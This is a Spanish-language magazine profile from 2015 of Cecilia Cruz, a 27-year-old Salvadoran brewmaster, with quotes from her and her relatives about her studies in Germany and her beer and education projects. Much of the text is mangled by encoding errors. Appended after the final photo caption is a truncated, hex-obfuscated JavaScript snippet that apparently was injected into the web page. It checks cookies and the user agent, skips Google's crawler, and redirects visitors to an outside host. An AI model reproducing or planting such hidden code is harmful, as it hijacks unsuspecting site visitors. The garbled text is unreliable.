SV del Mes

4 Ago 2015
SV del Mes | Por: Redacción

Cecilia Cruz, la maestra cervecera, agosto 2015

Pese a su edad, esta joven es toda una experta en una de las bebidas mA?s consumidas por las personas en el mundo. Su mayor aspiraciA?n es crear en El Salvador una cultura cervecera. ConocAi?? mA?s de ella y de sus proyectos.

Textos de Luis Trejo / FotografAi??as de Xaviere Rosales y Eduardo PAi??rez / MEDIOLLENO

Ser mujer y joven en una sociedad que por siempre ha sido dominada por hombres no es un camino fA?cil de recorrer, pero Cecilia ha sabido vencer todas esas barreras que la vida le ha presentado. Sin embargo, su mayor reto es crear en El Salvador una cultura cervecera que vaya mA?s allA? de solo consumirla. Para ello, su tenacidad y esfuerzo son las principales herramientas para lograrlo.

Cecilia Cruz es una salvadoreAi??a que a sus 27 aAi??os ha sabido ganarse un lugar muy respetado dentro de la cultura cervecera, tanto asAi?? que ya estA? en vAi??speras de lanzar su propio producto. Su tenacidad y amor por El Salvador la han llevado a idear un mundo cervecero muy distinto a lo que hasta el momento se ha comercializado en El Salvador. Es asAi??, un paso a la vez, que esta joven intenta dejar una huella llena de cultura cervecera en el paAi??s. Asegura no ha sido fA?cil el recorrido, pero estA? dispuesta a seguir afrontando los retos y aferrA?ndose a las cosas buenas que se le presenten.

Tal como ella misma lo afirma, nuestra SalvadoreAi??a del Mes de agosto 2015 ai???es la chica de al lado: con la que vas a ver un partido, vas a tomar una cerveza, podAi??s discutir un libro. Vengo de una familia muy trabajadora, emprendedora, lA?gica, pero que tambiAi??n tengo mi parte divertida. Me gusta disfrutar de las cosas simples de la vida: salir con los amigos, jugar fA?tbol, visitar el teatro, la literatura, incluso hacer cervezaai???, asegura. Pese a que su proyecto mA?s ambicioso le consume la mayor parte de su dAi??a a dAi??a, tambiAi??n ha hecho el espacio para participar en otras inciativas de gran impacto en su entorno, como la agricultura orgA?nica (apoyada por su madre) y dar insumos de laboratorios a escuelas pA?blicas.

(Otra mujer talentosa, Gracia GonzA?lez)

CECILIA

ai???Ella es una persona muy activa, emprendedora, que ha seguido a su corazA?n en las decisiones que ha tomado y que eso la ha llevado a este punto en el que se encuentra y todo lo nuevo que ha hecho. Su humildad y su valentAi??a son las cosas que mA?s admiro de ellaai???- Carlos Cruz, hermano de Ceci.

ai???Por el momento mi tiempo estA? enfocado en tres cosas esenciales, y el mA?s importante de ellos es crear la cerveza que quiero para lanzarla. PrA?cticamente, ha resultado de poner todos mis conocimientos, que los adquirAi?? al estudiar en Alemania, y tratar de llegar a una cerveza salvadoreAi??a de calidad. TambiAi??n estoy en un proyecto de agricultura orgA?nica, a travAi??s de la infusiA?n de limA?n y de otras frutas tropicales, mediante un proceso orgA?nico certificado. AdemA?s, estoy impulsando un proyecto educacional, con el que pretendemos, a travAi??s de insumos de laboratorio, equiparar escuelas y que la educaciA?n del paAi??s siga adelante y con calidadai???, reitera esta joven mujer que estA? empoderA?ndose cada vez mA?s de un mundo predominado por hombres.

CERVEZAAdemA?s del ingrediente esencial, que es el agua, la cerveza es posible gracias a materiales como el lA?pulo y la malta.

SegA?n cuenta Cecilia, su pasiA?n por producir cerveza naciA? cuando se fue a estudiar a Alemania. ai???AhAi?? descubrAi?? que esto no es solo una bebida, sino que hay toda una cultura detrA?s de ella y lo pude vivir en mi dAi??a a dAi??a mientras estuve afuera. La cerveza tiene una ciencia y un arte detrA?s, y eso fue lo que me convenciA? de seguir ese camino. Al final, lleguAi?? al punto de decidir si me quedaba en Alemania o si regresaba a El Salvador. OptAi?? por venirme y hacer algo diferente acA?, como yo quisiera y como a mAi?? me gustarAi??a, entonces me vine. Y lo hice porque amo a mi paAi??s, creo en Ai??l y sAi?? que con esfuerzo puedo lograr todo lo que me propongaai???, cuenta esta salvadoreAi??a.

(Un padre que da todo por los jA?venes)

VENTANA

ai???Teti, como le decimos en la familia, es una mujer que siempre ha destacado del grupo y para nosotros siempre ha sido un ejemplo a seguir a pesar de su corta edad. Su Ai??mpetu de salir adelante, de crecer y abrirse campos inexplorables por las mujeres, la han llevado a lograr todo lo que se ha propuesto. Su inteligencia y coraje es lo mA?s admirableai???- Ana Olmos de RodrAi??guez, prima de Ceci.

ai???Mi primer llamado es a que no te rindA?s de tu paAi??s. A mAi?? me han preguntado tantas veces que por quAi?? me regresAi??, pero yo les digo que amo a mi paAi??s y creo que puedo salir adelante aquAi??. No hay que rendirnos. Ya tenemos tantas cosas malas y si lo tiramos peor va a ser. Lo segundo es que sigan sus sueAi??os. Yo me fui, siendo mujer, sola a Alemania, sin conocer a nadie, sin saber nada y logrAi?? mi tAi??tulo y ahora ya estoy aquAi??. Lo importante es seguir adelanteai???.

MUESTRAPor el momento, Ceci se encuentra trabajando en tres cervezas distintas (de izquierda a derecha): la de trigo, algo mA?s refrescante e infusionada con limA?n; la roja u oscura, como tambiAi??n es conocida; y la pAi??lsener, cuyo nombre proviene de una ciudad checa.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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